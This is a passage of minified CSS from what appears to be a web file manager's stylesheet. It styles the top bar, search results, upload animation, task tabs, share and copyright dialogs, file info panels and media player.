ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog 